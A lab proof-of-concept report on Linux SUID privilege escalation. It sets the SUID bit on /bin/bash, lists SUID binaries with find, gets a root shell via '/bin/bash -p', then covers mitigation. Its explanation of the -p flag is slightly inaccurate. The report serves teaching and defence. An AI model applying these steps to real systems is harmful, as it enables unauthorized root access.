Proof of Concept (PoC) Report

Task 4: SUID & Privilege Escalation

1 Setup

Step 1: Setting the SUID bit on /bin/bash

Run the following command to set the SUID bit on /bin/bash, allowing users to execute it with the file owner's privileges:

```
┌──(kali㉿kali)-[~]
└─$ sudo chmod u+s /bin/bash
```

Step 2: Creating a script running with root privileges

Create a script called `root_script.sh` and assign the necessary permissions:

- echo -e '#!/bin/bash\necho "Root Privilege Script"' > root_script.sh(for creating)

```
┌──(kali㉿kali)-[~]
└─$ sudo chmod 4755 root_script.sh
```

Create a script with root privileges ➤ The `4755` permission setting ensures the following:

- **4** → Sets the SUID (Set User ID) bit.
- **7** → Grants the owner read (`r`), write (`w`), and execute (`x`) permissions.
- **5** → Grants the group read (`r`) and execute (`x`) permissions.
- **5** → Grants others read (`r`) and execute (`x`) permissions.

2 Exploit

Step 1: Identifying SUID misconfigurations

To find files with the SUID bit set, run:

```
└─$ find / -perm -4000 2>/dev/null
/usr/bin/kismet_cap_linux_bluetooth
/usr/bin/umount
/usr/bin/chsh
/usr/bin/kismet_cap_hak5_wifi_coconut
/usr/bin/kismet_cap_nrf_mousejack
/usr/bin/mount
/usr/bin/kismet_cap_nrf_52840
/usr/bin/fusermount3
/usr/bin/ntfs-3g
/usr/bin/sudo
/usr/bin/rsh-redone-rlogin
/usr/bin/chfn
/usr/bin/su
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/kismet_cap_linux_wifi
/usr/bin/kismet_cap_ti_cc_2531
/usr/bin/rsh-redone-rsh
/usr/bin/pkexec
/usr/bin/kismet_cap_nrf_51822
/usr/bin/kismet_cap_ubertooth_one
/usr/bin/kismet_cap_nxp_kw41z
/usr/bin/gpasswd
/usr/bin/bash
/usr/bin/kismet_cap_rz_killerbee
/usr/bin/kismet_cap_ti_cc_2540
/usr/sbin/mount.cifs
/usr/sbin/mount.nfs
/usr/sbin/pppd
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/lib/openssh/ssh-keysign
/usr/lib/xorg/Xorg.wrap
/usr/lib/chromium/chrome-sandbox
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/home/kali/root_script.sh
```

This command lists all files that have the SUID bit set, helping an attacker locate potential privilege escalation vulnerabilities.

Step 2: Exploiting the SUID misconfiguration

If /bin/bash has the SUID bit enabled, an attacker can gain root privileges using:

```
┌──(kali㉿kali)-[~]
└─$ /bin/bash -p
bash-5.2#
```

The `-p` flag ensures that the elevated privileges persist even after switching users.

3 Mitigation

Step 1: Removing unnecessary SUID permissions

To remove the SUID bit from use:

```
┌──(kali㉿kali)-[~]
└─$ sudo chmod -s /bin/bash
```

This prevents unauthorized users from escalating privileges using the SUID exploit.

Step 2: Restricting script execution

Modify the script's permissions to allow execution only by specific users:

```
chown root:root root_script.sh
chmod 700 root_script.sh
```

This ensures that only the root user can execute the script, mitigating privilege escalation risks.

Conclusion

By identifying SUID misconfigurations and applying proper security controls, we can prevent unauthorized privilege

escalation. Following the principle of least privilege and regular security audits can help in maintaining a secure system.